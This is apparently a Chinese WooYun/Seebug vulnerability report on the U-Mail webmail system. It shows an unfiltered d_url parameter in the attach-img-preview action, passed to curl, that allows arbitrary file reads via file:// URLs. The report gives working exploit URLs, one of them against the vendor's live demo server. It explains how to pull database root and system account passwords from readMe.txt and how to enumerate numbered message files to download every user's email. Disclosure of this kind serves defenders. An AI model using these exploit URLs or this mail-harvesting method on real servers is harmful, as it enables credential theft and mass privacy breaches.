### 简要描述:
下载了最新版的umail,发现漏洞还不少,不过上wooyun一搜索,都是以前大牛提交过了,只好另找一个了。任意文件下载,泄露系统重要敏感信息,还可导致可下载任意用户的全部邮件。u-mail的使用量就不说了,可以参考:
http://www.wooyun.org/bugs/wooyun-2010-061859
### 详细说明:
问题出现的位置是在图片预览的地方
```
http://192.168.1.24/webmail/client/mail/index.php?module=operate&action=attach-img-preview&d_url=1.gif&type=application/octet-stream
```
关键代码如下:
```
if ( ACTION == "attach-img-preview" )
{
$download_url = $_GET['d_url'];
$type = $_GET['type'];
$data = get_url_data( $download_url );
header( "Content-type: ".$type );
header( "Expires: 0" );
header( "Pragma: public" );
echo $data;
exit( );
}
```
zend解密出来的代码,凑合着看吧
继续跟进get_url_data,(admin/include/base_function.php)
```
function get_url_data( $_obfuscate_Il8i, $_obfuscate_5E5Av0svlQ = 1 )
{
$_obfuscate_u_c = curl_init( );
curl_setopt( $_obfuscate_u_c, CURLOPT_URL, $_obfuscate_Il8i );
curl_setopt( $_obfuscate_u_c, CURLOPT_SSL_VERIFYPEER, FALSE );
curl_setopt( $_obfuscate_u_c, CURLOPT_SSL_VERIFYHOST, FALSE );
curl_setopt( $_obfuscate_u_c, CURLOPT_RETURNTRANSFER, TRUE );
curl_setopt( $_obfuscate_u_c, CURLOPT_CONNECTTIMEOUT, $_obfuscate_5E5Av0svlQ );
$_obfuscate_6RYLWQ = curl_exec( $_obfuscate_u_c );
curl_close( $_obfuscate_u_c );
return $_obfuscate_6RYLWQ;
}
```
url参数没有进行任何过滤,直接调用了c_url,因此我们可以访问如下url:
```
http://192.168.1.24//webmail/client/mail/index.php?module=operate&action=attach-img-preview&d_url=file://C:\windows\win.ini&type=text/htm
```
[<img src="https://images.seebug.org/upload/201412/040010303ce2089775da71b64a093f6f1add3e58.png" alt="任意文件读取.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/040010303ce2089775da71b64a093f6f1add3e58.png)
u-mail邮件系统在安装后会生成一些随机的密码作为数据库密码,已经新建两个系统用户,这些信息都存在umail下的readMe.txt,这个文件在web目录下是不能读取的
[<img src="https://images.seebug.org/upload/201412/04001319bdc5d6f9fa5e6a98ecbaade39ded9a54.png" alt="系统敏感信息0.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/04001319bdc5d6f9fa5e6a98ecbaade39ded9a54.png)
mysql root密码,系统用户账号密码都尽收眼底,而且建议用户不要修改……
[<img src="https://images.seebug.org/upload/201412/040013314943889f69f4600758b6bc8f5b0d039a.png" alt="系统敏感信息.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/040013314943889f69f4600758b6bc8f5b0d039a.png)
更进一步我们可以做什么呢?
下载任意用户的任意邮件。
u-mail用户的邮件都会存在umail\Users\jc.com\test目录下
其中jc.com就是邮件服务器的域名,test是用户名,目录结构是:
[<img src="https://images.seebug.org/upload/201412/040021234fa5ccea8766a8e395a2ce9eb640104e.png" alt="任意邮件下载1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/040021234fa5ccea8766a8e395a2ce9eb640104e.png)
其中md50000000001.msg,md50000000002.msg就是用户的邮件,是按照数字递增的。
因此我们可以很容易的写一个程序来遍历下载所有用户的所有邮件,邮件是eml格式的。
[<img src="https://images.seebug.org/upload/201412/04002752dfbefb48e45c51eb1a792f42b4ff1c06.png" alt="下载任意用户的邮件11.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/04002752dfbefb48e45c51eb1a792f42b4ff1c06.png)
### 漏洞证明:
```
http://192.168.1.24//webmail/client/mail/index.php?module=operate&action=attach-img-preview&d_url=file://C:\windows\win.ini&type=text/htm
```
[<img src="https://images.seebug.org/upload/201412/040010303ce2089775da71b64a093f6f1add3e58.png" alt="任意文件读取.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/040010303ce2089775da71b64a093f6f1add3e58.png)
给个官网测试链接(需要点击试用,登上一个普通账号):
```
http://mail.comingchina.com/webmail/client/mail/index.php?module=operate&action=attach-img-preview&d_url=file://C:\\windows\win.ini&type=text/htm
```
[<img src="https://images.seebug.org/upload/201412/040041523cef469655b5e383cabb791875a5a3dc.png" alt="任意文件读取11.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/040041523cef469655b5e383cabb791875a5a3dc.png)
readMe.txt
[<img src="https://images.seebug.org/upload/201412/04004426612a519ab6f0c74537b1cf9885b21be0.png" alt="任意文件读取111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/04004426612a519ab6f0c74537b1cf9885b21be0.png)
暂无评论